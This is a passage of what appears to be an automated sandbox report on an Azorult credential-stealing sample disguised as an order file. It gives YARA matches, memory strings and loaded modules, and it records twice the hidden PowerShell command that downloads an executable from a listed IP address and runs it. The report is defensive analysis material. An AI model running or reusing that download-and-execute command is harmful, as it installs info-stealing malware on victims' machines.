Source: Order-63729_Reference.exe, 00000004.00000003.2159912461.0000000003274000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.sr
Source: Order-63729_Reference.exe, 00000004.00000003.2159558849.0000000003270000.00000004.00001000.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000004.00000003.2159912461.0000000003274000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf
Source: Order-63729_Reference.exe, 00000004.00000003.2113109291.0000000000751000.00000004.00000020.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000004.00000003.2114990310.0000000000750000.00000004.00000020.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000004.00000003.2113189123.0000000000750000.00000004.00000020.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000004.00000003.2115630556.0000000000750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Order-63729_Reference.exe, 00000004.00000003.2113777720.0000000000773000.00000004.00000020.00020000.00000000.sdmp, 678557889490724568831.tmp.4.dr, 67856257760153941723665.tmp.4.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Order-63729_Reference.exe, 00000004.00000003.2113777720.0000000000773000.00000004.00000020.00020000.00000000.sdmp, 678557889490724568831.tmp.4.dr, 67856257760153941723665.tmp.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 4.2.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult Payload Author: kevoreilly
Source: 4.2.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 4.0.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 4.0.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult Payload Author: kevoreilly
Source: 4.0.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 4.3.Order-63729_Reference.exe.3865f7e.0.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 4.3.Order-63729_Reference.exe.37fa82d.2.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 4.3.Order-63729_Reference.exe.37d8840.1.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED	Matched rule: Azorult Payload Author: kevoreilly
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: String function: 00403B98 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: String function: 00404E64 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: String function: 00404E3C appears 87 times
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: String function: 004062D8 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: String function: 004034E4 appears 36 times

Source: api-ms-win-core-processthreads-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: dump.pcap, type: PCAP	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 4.2.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 4.2.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 4.0.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 4.0.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 4.0.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 4.3.Order-63729_Reference.exe.3865f7e.0.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 4.3.Order-63729_Reference.exe.37fa82d.2.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 4.3.Order-63729_Reference.exe.37d8840.1.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.phis.troj.spyw.winBAT@6/58@1/2

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_00416B94 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,GetCurrentProcessId,

4_2_00416B94

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_0040A4A4 CoCreateInstance,

4_2_0040A4A4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Mutant created: \Sessions\1\BaseNamedObjects\AFA7A44E6-9414907A-7566F0FB-B410C867-9A5A4B3D
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6556:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ixacekdo.cvv.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Order-63729_Reference.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: Order-63729_Reference.exe, 00000004.00000003.2112827248.0000000000754000.00000004.00000020.00020000.00000000.sdmp, 67854682834784352508735.tmp.4.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Order-63729_Reference.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe "C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe "C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: windows.storage.dll	Jump to behavior
